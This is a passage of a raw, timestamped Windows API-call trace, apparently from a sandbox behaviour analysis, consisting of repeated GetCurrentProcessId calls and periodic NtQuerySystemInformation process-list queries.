GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.103] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.104] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.105] GetCurrentProcessId () returned 0xbf4 [0217.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0218.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.116] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.117] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.118] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.119] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.120] GetCurrentProcessId () returned 0xbf4 [0223.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.933] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.934] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0224.935] GetCurrentProcessId () returned 0xbf4 [0225.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0225.603] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.604] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.605] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.606] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.607] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0225.608] GetCurrentProcessId () returned 0xbf4 [0226.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0228.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0228.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.866] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.867] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.868] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0231.869] GetCurrentProcessId () returned 0xbf4 [0232.429] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.432] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.433] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.434] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 